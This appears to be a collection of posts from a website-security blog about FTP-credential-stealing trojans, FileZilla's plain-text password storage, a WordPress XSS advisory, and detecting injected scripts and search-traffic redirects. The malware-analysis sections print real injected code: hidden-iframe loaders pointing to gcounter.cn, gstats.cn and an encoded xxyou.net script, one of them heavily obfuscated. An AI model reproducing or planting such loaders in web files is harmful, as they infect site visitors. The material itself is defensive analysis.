In the recent post about Quicksilver malware network, you can read that the trojan behind the infamous iframe injection attack “looks for all kinds of configuration files of ftp programs in their default install paths“. I contacted the researcher and asked if he had a full list of the FTP clients this malware looks for.

And here’s the list:

1. CoffeeCup Direct FTP
2. TransSoft FTP Control 4
3. Core FTP
4. GlobalScape CuteFTP
5. Far Manager (with FTP plugin)
6. FileZilla
7. FlashFXP
8. SmartFTP
9. FTP Navigator
10. Total Commander

The list looks trustworthy. The same FTP programs can be found on the screenshot of a trojan code from Kaspersky’s article (in Russian) about the same attack.

So what if you are using one of these FTP client?

Keep using it. Just don’t save your passwords there. Enter passwords every time you connect to remote servers. Or invest some time to read your program’s documentation and find out what they can offer to security-minded webmasters. Some clients support public key authorization, some offer encrypted site managers, etc.

Just to be on the safe side, scan your computer for malware. Then scan your site for signs of break-ins (you might want to start with Unmask Parasites checks). If you have any suspicion, change all passwords ASAP.

And don’t think if you are using some other FTP client you can safely store your passwords in it. There may be another trojan that specifically targets your favorite program.

Move to secure file transfer protocols.

BTW, in my previous post you could see a link to an article about another trojan that sniffs FTP traffic and steals credentials. If you use FTP, you can’t hide your passwords from this trojan – FTP protocol doesn’t support any encryption.

The answer to this problem is secure protocols: like SFTP or FTPS. Most FTP clients support these protocols, so you don’t need to find a new program. However, if you are on a shared server, make sure that your hosting plan includes any of these secure protocols.

Similar posts:

• Beware: FileZilla Doesn’t Protect Your Passwords
• Quicksilver Malware Network

The success of those attacks is based on the fact that a significant percentage of web surfer are webmasters and site owners themselves. Once a computer of a site owner is infected, malware can steal his/her FTP credentials and use them to make the site distribute malware to unsuspecting visitors, who, in turn, may also be site owners.  As a result, we see rapid growth in number of compromised websites.

There are quite a few hypotheses about how cibercriminals steal the credentials: traffic sniffing, using keyloggers, etc. But the most viable is that trojans simply extract everything they need from configuration files of popular FTP programs.  Let me show how easy it can be done.

FileZilla

Lets take a very popular free FTP client called FileZilla. For this experiment, I downloaded and installed the latest version 3.2.7.1.

Adding new site

Then I added a fictitious site “example.com” with username “unmask” and password “parasites“. Logontype is “Normal” – this is probably the most popular type since it allows one-click connection and doesn’t require that you enter username/password every time. Then I clicked OK to save the new settings.

FileZilla configuration files

FileZilla is a cross-platform application. That’s why it stores its settings in platform-neutral XML files.

sitemanager.xml

XML files are human readable. This is what I discovered in the sitemanager.xml file right after I added a new site to FileZilla.

As you can see, everything is stored in plain text, including the password.

filezilla.xml

When I tried to connect to “example.com”, FileZilla added the following <LastServer> section to filezilla.xml. Again, everything in plain text.

Quick connect

FileZilla has a quickconnect bar that allows you to connect to servers without adding them to the Site Manager.  When I used it, similar information was added to recentservers.xml (needless to say, unencrypted).

Anyone wants my passwords?

As you can see, any program on your computer, legitimate and malicious, can read this information. Moreover, any person who have access (even for a couple of minutes only) to your computer, can easily steal your FTP credentials. And there are known trojans that do steal personal information from configuration data of popular programs (thanks Alec Waters who sent me this link).

Did you know this? Can you trust every program on your computer? Have you recently had malware issues? What about spyware that your anti-virus failed to detect (no program is perfect)?

This is “by design”

At FileZilla they clearly state that they don’t want to encrypt or hide your sensitive information:

This is by design, it is the task of the operating system to protect your private data.

Probably they are right. Unfortunately, there is no such thing as 100% secure operating system. And in case of Windows, where viruses and spyware are not that rare, I would be very concerned if I knew that my data is protected by the operating system only.

I know, that encrypting passwords is not a good solution either. Malware authors can reverse-engineer FTP clients and extract the decryption algorithm (in case of open source programs they only need to read the source code). So encryption can’t stop malware from stealing FTP credentials. It can only save you from eyes of strangers who have access to your computer.

The protection can only be sufficiently strong if users are required to enter their “master password” every time they open the program (like in KeePass). However this approach makes the convenience of storing FTP passwords in FTP clients questionable – you still have to remember and enter some password on every use. That’s why it is not used in FTP programs (that I know of).

The flaw in the design

So I agree with FileZilla. It is sensible to store FTP credential in plain text when you choose the “Normal” logon type. But only if users are aware of the risks.

The problem is the majority of FTP programs’ users trust their software and never think about how their private information is handled and if there are any security risks associated with the way they use the software. And as you now know the risks are real and substantial! There is a flaw in the design if it lets people feel secure when they are not.

How about the following change of the design? The “Normal” logon type can be renamed to “Normal (insecure)“. And when users choose this type, they see a warning saying that their FTP credentials will be saved in plain text and can be easily stolen if the computer’s security is compromised.  And the Quickconnect toolbar should never save passwords. If there is a need to save the “quick connection”, why not offer to add it to the Site Manager?

I believe, the impact of these small changes would be significant. One-click FTP connections are very convenient. But, as always, the convenience comes at a price. And if webmasters know this price, they will be more prepared to deal with potential security problems.

Using FileZilla the safe way

FileZilla is a great FTP client and I use it myself. But since it doesn’t protect your FTP credentials, you should protect them yourselves. Here is what you can do:

1. Don’t use the “Normal” logon type. There are the “Ask for password” and the “Interactive” types that won’t save your passwords on disk. So malware simply won’t be able to get enough information from FileZilla configuration files to hack your sites.

Pros

• Malware cannot steal your FTP credential from configuration files.

Cons

• You’ll have to enter your password every time you connect to your site.
• It won’t save you from more sophisticated spyware such as keyloggers and traffic sniffers. But I hope this sort of trojans can be better detected by you antivirus tools since they need to hook known system functions. To protect yourself from traffic sniffers, always use SFTP instead of FTP (if possible).

2. Hosts trick. If you manage multiple web sites, interactive logon types may be really inconvenient. There is a trick that can let you use the “Normal” logon type in a more secure manner. You should create aliases of your sites’ addresses in the “hosts” file (on Windows, you can find it in C:\WINDOWS\system32\drivers\etc\).

For example you have a site “example.com” with an IP-address “208.77.188.166″. To create an alias you need to add the following line into the hosts file:

208.77.188.166         my_example

“my_example” will work the same way as “example.com” when you use it on your computer.  However, on other computers it won’t make any sense. Now use this alias in FTP connection settings instead of “example.com”.  If hackers manage to steal your FTP credentials, all they’ll have will be: (host: my_example, user: unmask, password: parasites) – the username/password pair is valid, but the host name doesn’t make any sense to them. It’s like having a key and not knowing where the door is.

Pros

• Once you have added new aliases to the hosts file and to FileZilla Site Manager, you can enjoy the ease of one-click connections.

Cons

• This trick will only work as long as malware steals FTP credentials from configuration files verbatim (and I have proofs that at least some malware steal the data verbatim).  If they only add a simple check that converts host names to IP-addresses before sending the credentials to their central database, the trick will be useless.  This trick is better than no protection at all, but you should not count on it.
• You’ll need to update the hosts file if IP-addresses change.

3. Public Key Authentication. If your hosting plan included SSH (secure shell), you can use FileZilla in SFTP mode. One of convenient SSH features is public key authentication. And FileZilla supports this type of authorization (I didn’t use it myself, but at least have seen the UI in the “Settings” dialog). FileZilla recognizes PuTTY’s Pageant, so the configuration should be easy if you already use PuTTY for SSH.

Pros

• Secure one-click connections.

Cons

• This authentication method will only work if your hosting plan includes SSH/SFTP. Unfortunately, this option is rearly included into shared hosting plans.
• Creating the keys and configuring FileZilla to use them is not a trivial process.
• You might still have to enter a pass phrase when adding keys to the Pageant.

Other FTP programs

In this article I reviewed FileZilla only because it’s a popular FTP client that I have on my computer and it was very easy to demonstrate how little it does to protect users’ FTP credentials. However the same concerns apply to all other  programs that have FTP functions: classical FTP clients, web page editors, file managers. Popular applications like DreamWeaver, CuteFTP, Total Commander, etc. account for majority of FTP credentials leaks.

Be proactive

Now ask yourself a few questions. Do you know where and how your FTP client stores your passwords? Will they be safe if a malicious program program penetrates into your computer? Do you know how to protect your FTP credentials?

If you’ve recently had malware issues with your computer or just suspect that your systems is infected or contains programs from untrusted sources, it’s time to change all passwords and scan your websites for malicious content that hackers might have already uploaded there (my Unmask Parasites online tool is a good starting point as it helps detect hidden illicit content in your web page).

Thanks for reading this rather long post. I hope it was worth  it. Do you have anything to add? Any other security concerns associated with FTP programs? Any tricks to keep your FTP credentials secure? Your comments are welcome.

Similar posts:

• NoScript Helps Reveal Website Exploits – Telegram .com Case
• Vulnerability Advisories for Third-Party Scripts
• Using Wget to Detect Hijacked Search Engine Traffic
• Hidden CN Iframes Are Still Prevalent

WordPress 2.8.2 fixes an XSS vulnerability. Comment author URLs were not fully sanitized when displayed in the admin. This could be exploited to redirect you away from the admin to another site

Unfortunately, the official blog didn’t mention that this upgrade is actually critical and why you should update ASAP. Let me explain this.

What is XSS vulnerability?

XSS (Cross-Site Scripting) is a security vulnerability that allows malicious users inject code into web pages viewed by other users. In case of this WordPress vulnerability, hackers can leave a comment specifying specially crafted URL in the “website” field of the comment form. When you open any web page in the admin area of your blog that displays this malicious comment (this may be the dashboard, the comments section and the specific post edit page), the code in the comment author’s URL is activated and you get automatically redirected to a third party site (as suggests the update release note).

Why is this serious?

Now that WordPress has disclosed the fact that versions prior to 2.8.2 have an XSS vulnerability, hackers will start searching for a way to exploit this vulnerability. It usually takes only a few hours to create an exploit and configure a botnet to start an attack.

Redirection from the admin to a third-party site may sound not scary to you, but I envision at least two types of attacks that can lead to very serious consequences: hackers can gain access to the admin area of your blog and to your whole site. (Plus one type that is just annoying)

Attack #1: Phishing

As you know, when you sign in to WordPress admin area, the first screen you see is the Dashboard. And the Dashboard screen contains the Recent Comments section that displays latest comments. If any of those comment has a specially crafted comment author’s URL, you will be redirected to a third party site before the whole Dashboard is completely loaded.

This third-party site can display a standard WordPress login screen (They all look the same, so if you don’t check the URL in your browser’s address bar you won’t detect the substitution) telling you to try again. Unsuspecting users will enter their credentials again. Hackers will harvest them and redirect the user back to the original admin area. If the XSS code is properly crafted, some users won’t even know that they have just given their blog credentials to criminals.

By the way, another path to the admin area is to click on the  “Approve/Delete/Spam” links in the WordPress notification emails. This way you are also exposed to the attack right after you sign in.

Dear WordPress developers, please make the login screen skinable. This way bloggers will be able to recognize “alien” login screens that use incorrect themes.

Attack #2: Malware.

The third-party site may not require your passwords. Instead it will try to take advantage of your browser’s vulnerabilities (at this moment IE has a known unpatched security hole and older versions of other browsers may be vulnerable too) and silently install malware on your local computer. Among other nasty things, trojans scan infected computers and steal stored FTP credentials (for example, FileZilla stores them in plain text in xml files), that will be used to compromise your web site. This is the most “popular” vector of hacking web sites this year.

There are also other ways to exploit this XSS vulnerability. Their consequences may be less dangerous but still very annoying.

Attack #3: SPAM

Every time you sign into the Blog admin or manage comments you’ll get redirected to some “prescription drug” site.

Before you upgrade…

So it’s time to upgrade. Right? But wait! What if malicious comments are already waiting for you in the admin area, and when you sign in to take advantage of the WordPress automatic upgrade tool, you will be exposed to the XSS attack?

Safe way to upgrade

If you don’t want to be exposed to any risks, you should upgrade WordPress before you sign in to the admin area.

1. The most obvious way to do it is the manual upgrade. You must be familiar with it if you’ve lived in the pre-2.7 era.
2. Another way (probably the most easiest of them all and at the same time the most techie way) is to upgrade using Subversion.
3. If the manual upgrade is not your coup of tea, make sure your web browser can withstand XSS attacks. I suggest that you use the latest version of Firefox (3.5.1 currently) along with the NoScript extension that has a very good anti-XSS protection. If you use other browsers, disable JavaScript before you sign in and don’t enable it until you reach the Tools->Upgrade page

I hope this post has given you some basic understanding of security implications of unpatched XSS vulnerabilities in the Wordpress admin area. Now you know why you should upgrade and how to do it the right way.

Keep your site secure.

Similar posts:

• Vulnerability Advisories for Third-Party Scripts
• Future of Secure Web Browsing

If you like this blog you might also find my free website security tool called Unmask Parasites useful.

GCounter .cn

When I first encountered a site infected by gcounter, I checked it with Unmask Parasites. Nothing suspicious was found except for the fact that the domain name was blacklisted by Google. I checked the diagnostic page and found this clue:

Malicious software is hosted on 1 domain(s), including gcounter.cn/.

I opened the site in Firefox and temporarily enabled the site domain in NoScript. When the page reloaded, another item appeared in the NoScript menu: “Allow gcounter.com“. Bingo! The fact it was not initially there means that the malicious code is somewhere in external .js files. I downloaded (using wget) all referenced .js files and located the following code in one of them:

if (document.cookie.search("coqwg=3") == -1) {
d ocument.write("<i"+"fr"+"ame sr"+"c=http:"+"//"+"gcou"+"nter"+".cn styl"+"e"+"=displa"+"y:no"+"ne>"+"</i"+"fram"+"e>");
d ocument.cookie = "coqwg=3;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

As you can see, it injects a hidden iframe that loads content from gcounter .cn.

The code also sets a cookie so that only new visitors get infected. So the next time the NoScript trick won’t work if your browser already has that cookie.

When I checked another site with gcounter .cn mentioned on the diagnostic page, I also found the malicious code in one of the external .js files.

Note, that the code is not simply appended at the very bottom of .js files like in the Gumblar exploit, it is injected somewhere in the middle of legitimate JavaScript code. It may even not occupy a separate line, so it is very easy to overlook it.

GStats .cn

Another day I found a site with the following record on the Google’s Safe Browsing diagnostic page:

Malicious software is hosted on 1 domain(s), including gstats.cn/.

The same NoScript trick revealed the malicious code in external .js files. This time the malicious code was more encrypted and looked like this:

AA3EC055="p";AA3EC055+="arseI";AA3EC055+="nt";E0B4B25AF7590="Stri";E0B4B25AF7590+="n";E0B4B25AF7590+="g.fr";E0B4B25AF7590+="omCha";
E0B4B25AF7590+="rCo";E0B4B25AF7590+="de";function ACE13AC7F5(A8D133){var DB529=495;DB529=DB529-479;D59CA3C8=eval(AA3EC055+"(A8D133,DB529)");return(D59CA3C8);}
function A230982771962E(D2A369){var DA09B=114;DA09B=DA09B-112;var C8120BEFABE1C="";for(BE4025D=0;BE4025D<D2A369.length;BE4025D+=DA09B){
C8120BEFABE1C+=(eval(E0B4B25AF7590+"(ACE13AC7F5(D2A369.substr(BE4025D,DA09B)))"));}e val(C8120BEFABE1C);}
A230982771962E("69662028646F63756D656E742E636F6F6B69652E73656172636828226A7366783D332229203D3D202D3129207B0A787765773D646F63756D656E742E676574456C656D656E74427949642827636D6B27293B696628787765773D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D636D6B207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D20226A7366783D333B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");

After deobfuscation, the code looked similar to the gcounter’s

if (document.cookie.search("jsfx=3") == -1) { xwew=document.getElementById('cmk');if(xwew==null){
d ocument.write('<iframe id=cmk src=http://gstats . cn style=display:none></iframe>');}
d ocument.cookie = "jsfx=3;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

No wonder, both gcounter .cn and gstats .cn reside on the same server with IP address of 92.241.176.101.

The differences of the gstats modification from the above gcounter code are:

• gstats . cn domain used
• the code is more obfuscated and changes from site to site
• the cookie names and the iframe ids also vary from site to site
• I’ve seen this code only at the very bottom of .js file, so it may be slightly easier to find it.

Modification dates

Another interesting fact about the infected .js files is they have pretty old modification dates. The newest file had a February’s modification date. And the oldest was not modified since January 2004. So it looks like the hackers can change the modification date of files once they inject the malicious code.

At this moment I don’t have any information about how the .js files get infected. I can only guess that it has to do with compromised FTP credential (as many other recent attacks).

• So be sure to check your local computers for malware.
• then change all passwords
• and refrain from saving them in programs you use to upload files to a web server (FTP clients, DreamWeaver, etc.).
• Don’t use FTP if possible. This protocol is insecure. Use SFTP instead – Most decent hosting plans include this option.
• Browse the web with a secure browser. I recommend the Firefox+NoScript combo.

Have your say

If you have more information about this exploit, please leave your comments here. The more we know about the attack the easier we can withstand it.

P.S. This exploit is not directly detected by Unmask Parasites since external .js files are not checked. However, some infected sites can be detected as suspicious if Google have already blacklisted them.  So click the “details” link next to  Google’s advisory and if you see gstats .cn or gcounter .cn on the diagnostic page you know where the malicious code hides.

Update Aug 31, 2009: I’ve just found a script that injects a hidden gcounter .cn iframe at the bottom of an HTML file. This time it is detectable by Unmask Parasites. So don’t forget to check HTML files (all web pages)  too.

Similar posts:

• NoScript Helps Reveal Website Exploits – Telegram .com Case
• Beladen – Elusive Web Server Exploit. (information for site owners and hosting providers)
• Gumblar .cn Exploit – 12 Facts About This Injected Script
• All reviewed website exploits

“Martuz .cn” domain no longer resolve and “gumblar .cn” is defunct (the domain is currently parked). This has stopped the surge of new infections. And the increased global awareness helped webmasters identify the problem and get rid of it.

Recovered sites are still blacklisted

Nonetheless, I can still see that many websites recovered from the gumblar/martuz attack are still blacklisted by Google. Their Safe Browsing diagnostic pages say something like:

“Malicious software is hosted on 1 domain(s), including martuz .cn/.”

or

“Malicious software is hosted on 1 domain(s), including gumblar .cn/.”

Their search results are labeled with the “This site may harm your computer” warning. Many browsers (FireFox 3, Safari, Google Chrome) won’t let visitors browse those sites displaying the “Reported Attack Site” warning.

Looking at the last visit date on the diagnostic pages, I see that webmasters didn’t request a review via Google’s Webmaster Tools.

Just a reminder: If your site is blacklisted by Google, clean up the site and request a review. Here you will find all the information you need about it.

Malware review tips

I want to stress a few facts about the review process.

1. Do request the review. It was noticed that it takes significantly longer to remove the warning if the malware scanners find you site clean without a review request from a site owner. When they know that the site owner is aware of the problem, the process becomes smoother and the warning can be removed in just a few hours after a successful review.
2. Request the review as soon as possible. Although Google’s malware scanner can automatically visit your site, they are not as ubiquitous as Googlebot and it may take weeks before the next scheduled visit.
3. Don’t be afraid to request the review even if you are not sure that your site is completely clean. If any security issues are detected during the review, they will be reported in your Webmaster Tools account. Then you can fix them and request another review.
4. Don’t delete infected web pages. If Google reports specific URL as examples of web pages where malicious content was found, it expects to find these pages clean during the review. If the pages cannot be found, it may be considered as if they were temporarily removed just to pass the review. If you don’t need specific pages, try to empty them (you can remove them after a successful review) or configure your web server to return the 410 Gone error. (This information is not from official Google’s sources. It’s based on my own observations)

Strive for complete recovery

And a few more words to owners of websites recovered from the gumblar/martuz attack. If you requested the review, but it came back with a warning that your site is still infected, the chances are you haven’t removed the malicious code from all files.

This attack was very sophisticated. It modified many files, created backdoor scripts and changed directory permissions.  Even if Unmask Parasites doesn’t detect any suspicious scripts in your web pages, the site can still be infected if you didn’t clean external .js files (they are not checked by Unmask Parasites). You can find more details about the exploit and what it takes to get rid of it in this article. Make sure to read comments – they add much value to the article.

Similar posts:

• Gumblar .cn Exploit – 12 Facts About This Injected Script
• Martuz .cn – New Incarnation of the Gumblar Exploit. So What’s New?
• A Few More Facts About the Gumblar Attack From SophosLab and ScanSafe.

I usually suggest that you should use FireFox with the NoScript plugin for safer web browsing. This combo will save you from most web threats. Just remember one rule: Never use the “Allow this page” and the “Allow Scripts Globally” options.

NoScript reveals website exploits

NoScript is also a great helper in revealing tricky website exploits.

Let me use the “Telegram .com” case to show how I use it.

Telegram .com is a website of a Worcester, Ma newspaper. Google currently lists this site as suspicious and many browsers (FireFox3, Safary, Google Chrome) display a warning when you visit this site.

Google’s Safe-Browsing diagnostic page says:

Malicious software is hosted on 3 domain(s), including baidubadu .com/, tibetanpic .com/, dsaff .com/.

1 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including xxyou .net/.

I usually start my investigations with Unmask Parasites. It is the fastest and safest way to detect many types of website security issues. However this time the report only stated that Google listed this site as suspicious.

The next step was to load the site in Firefox (on a Linux machine to minimize security risks) and check the NoScript menu (it displays external domains that require JavaScript). There were quite a few domains in the menu, but none of then resembled the sites mentioned on the Google’s diagnostic page.

It was time to enable telegram .com in the NoScript menu. I clicked the “Temporarily allow telegram .com“. When the page reloaded I right-clicked on the NoScript icon and found a new suspicious entry in
the menu: “Allow http: //%78%78%79%6F%75%2E%6E%65%74”

I decoded this URL: %78%78%79%6F%75%2E%6E%65%74 = xxyou .net

Bingo! This is the site mentioned as an intermediary on the Google’s diagnostic page.

The fact this domain appeared only after enabling scripts on telegram .com mean that the “xxyou .net” reference was hidden somewhere in .js files on telegram .com web server.

I downloaded (using wget) the .js files. No wonder, at the very bottom of the “/assets/AC_RunActiveContent.js” file I discovered the following code:

document.write('<script src=http: //%78%78%79%6F%75%2E%6E%65%74 /msn.gif></script>');

Hope, despite of this hack, Telegram .com has decent webmasters and sysadmins, and they’ll figure out how their site was infected and will prevent any recurrence. This article is about detection only. (Update: After posting this article, I checked the site again and the malicious script was gone. )

As you can see, NoScript helped reveal the exploit. At the same time it preserved me from a threat even after enabling JavaScript on telegram .com, since the rest external scripts were still disabled.

Want to share your tricks?

If you know any other NoScript tricks, please share them in the comments section below. If you have any other security related tips and tricks, and want to share them with readers of my blog, you can contact me and offer a guest post.

Similar posts:

• Using Wget to Detect Hijacked Search Engine Traffic
• All tips and tricks

However this ease comes at a price. Unfortunately, no software is perfect. Hackers have a great incentive to find vulnerabilities in popular scripts – if they find a security hole, they can exploit thousands (and sometimes even millions) of websites that use the buggy script.  And the fact that most popular script are free  Open Source software helps hackers immensely.

If you are using third party scripts, the rule of thumb is to upgrade as soon as a new version or security patch is available.  Go to the vendor’s site and check if a new version is available. Subscribe to mailing lists or RSS feeds to be notified about upgrades and security issues of current versions.

If, for some reason, you prefer not to upgrade (bad idea), at least make sure the version you use doesn’t have known vulnerabilities.

Secunia

There is site called Secunia that provides up-to-date vulnerability advisories. You can search advisories by product or by vendor.

I’ve compiled a list of links to information about known vulnerabilities for a few popular scripts:

• CMS
  • Drupal 6.x  stats / advisories
  • Joomla 1.x stats /advisories
  • PHP-Nuke 8.x stats/advisories
• Forums
  • phpBB 3.x stats /advisories
  • SMF 1.x stats /advisories
• E-Commerce
  • OS Commerce 2.x  stats /advisories
  • Zen Cart 1.x  stats /advisories
• Blogs
  • WordPress 2.x stats /advisories
• Image Gallery
  • Coppermine Photo Gallery 1.x stats /advisories
• Education
  • Moodle 1.9.x stats /advisories
• Auction
  • PHPauction 3.x  stats /advisories
• Wiki
  • MediaWiki 1.x  stats /advisories

Be proactive. If you have to use third party scripts, make sure they are secure and up-to-date. Don’t let your laziness ruin your site, your online business, and your reputation.

This sort of exploit is still very wide-spread. Many site owners wonder why Google blacklists their sites when their web pages are absolutely benign and sites mentioned on Google’s Safe Browsing Diagnostic pages have absolutely nothing to do with their site’s content.

Here is an excerpt from a typical Safe Browsing Diagnostic page for an affected site:

Malicious software is hosted on 5 domain(s), including best-antimalware-pro-scan .com/, fastantimalwareproscanner .com/, fullantispywareproscan .com/.

4 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including module-antispyware .info/, securedradiostation .cn/, great-antispyware .info/.

When I see multiple antivirus-related domain names in the diagnostics, I almost sure the site has a hacked .htaccess file that redirects search engine traffic to scam sites. Still I need to verify my guess.

Detection

The easiest way is to use a web browser. Just go to Yahoo and search for the domain name. Then click on the site’s search results. (You can’t use Google because it won’t let you click through the blacklisted links.) If the assumption about the .htaccess hack is correct, you will land on some bogus antivirus site or on a porn site.

While this detection technique works well, it’s not desirable to use it in real life. It is very unsafe. You expose your own system to unnecessary threats browsing the malicious sites.

Unmask Parasites used to be the safest and the easiest way to detect malicious redirects. Unfortunately the current modification of this exploit is poorly detected by Unmask Parasites (I’m working on the update) so I’ll show how to use another free tool called wget.

Wget

Wget is a free command-line tool that retrieves files using HTTP(S) and FTP protocols. If you are on Linux or Mac, you should already have it. If you are on Windows – download wget here.

I’m using wget because:

• It’s safe. It doesn’t execute any code, it just downloads files.
• It can be configured to simulate almost everything normal browsers can do. We’ll configure it to pretend to be referred from Google.
• It follows redirects.
• It logs everything so we can see what’s going on behind the scenes.
• It’s free and easy to use.

Here is the wget command that you can use to reveal hijacked search engine traffic:

wget --referer=http://google.com "http://www.example.com/"

This command downloads a web page from www.example.com (replace it with your own site address).

The --referer option sets the Referer header in a HTTP request. It makes the www.example.com web server think that a user clicked on a link on the referer site to get to the www.example.com site. In our case we use --referer=http://google.com to simulate a click on a Google’s search result. Alternatively you can use --referer=http://yahoo.com to simulate a click on a Yahoo’s search result.

If this request gets redirected, you will see responses (301 or 302) with new locations in the command log.

Here is a sample wget log of one hacked site (I replaced its address with www.example.com):

>wget --referer=http://google.com "http://www.example.com/"
--01:47:54-- http://www.example.com/
=> `index.html'
Resolving www.example.com... done.
Connecting to www.example.com[216.193.xxx.xx]:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://spyware-software .info/0/go.php?sid=2 [following]
--01:47:55-- http://spyware-software .info/0/go.php?sid=2
=> `go.php@sid=2'
Resolving spyware-software .info... done.
Connecting to spyware-software .info[195.245.119.150]:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: http://tubeloyaln .com/scan/?id=260 [following]
--01:47:55-- http://tubeloyaln .com/scan/?id=260
=> `index.html@id=260.1'
Resolving tubeloyaln .com... done.
Connecting to tubeloyaln .com[92.38.0.41]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
[ <=> ] 15,987 8.86K/s
01:47:58 (8.86 KB/s) - `index.html@id=260.1' saved [15987]

You can see a chain of 302 redirects here: www.example.com -> spyware-software .info -> tubeloyaln .com

The names of the malicious sites used in this chain change almost every day, so most likely you’ll see the sites that doesn’t match the sites mentioned on the Google’s diagnostic page. Still the domain names are very similar: e.g. spyware-software .info vs. module-antispyware .info

In this example, instead of the home page of www.example.com wget downloaded a fake “My computer Online Scan” scam page from the tubeloyaln .com. If you remove the --referer option from the wget command, you’ll get no redirects and the real home page of the www.example.com site will be downloaded.

If you detect the malicious redirects, check this article to find out how to resolve the issue.

Hope this little trick will save your time.

Similar posts:

• Bogus Antivirus 2009 .htaccess Exploit.
• Unmasking the Antivirus 2009 .htaccess Exploit.
• Other reviewed website exploits